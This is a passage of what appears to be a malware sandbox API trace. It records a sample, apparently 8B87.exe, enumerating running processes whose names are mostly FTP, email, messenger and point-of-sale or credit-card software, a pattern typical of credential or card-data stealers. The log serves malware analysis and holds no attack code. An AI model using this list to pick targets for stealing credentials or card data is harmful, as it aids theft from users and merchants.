th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0218.636] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0218.674] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0218.676] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0218.679] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0218.681] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0218.684] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0218.686] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0218.688] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0218.691] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0218.694] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0218.697] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0218.699] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0218.701] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0218.704] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0218.706] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0218.708] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0218.710] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0218.712] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0218.715] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0218.717] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0218.719] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0218.721] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0218.723] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0218.725] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0218.728] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0218.730] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0218.732] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0218.736] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0218.779] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0218.781] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0218.784] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0218.787] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0218.789] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0218.793] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0218.797] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0218.799] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0218.802] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0218.804] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0218.806] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0218.808] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0218.810] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0218.812] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0218.814] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0218.816] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0218.818] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0218.821] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0218.823] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0218.830] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.832] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0218.834] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0218.836] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0218.838] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0218.841] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0218.843] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0218.845] CloseHandle (hObject=0x11c8) returned 1 [0218.845] Sleep (dwMilliseconds=0x64) [0218.846] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0218.858] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.860] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0218.862] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0218.864] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.866] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0218.867] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.869] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0218.871] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0218.873] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0218.875] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.877] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.879] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0218.880] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.882] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.885] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.886] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.888] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.890] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.923] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.926] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0218.928] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0218.931] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0218.936] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.938] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0218.941] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0218.944] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0218.946] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0218.949] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, 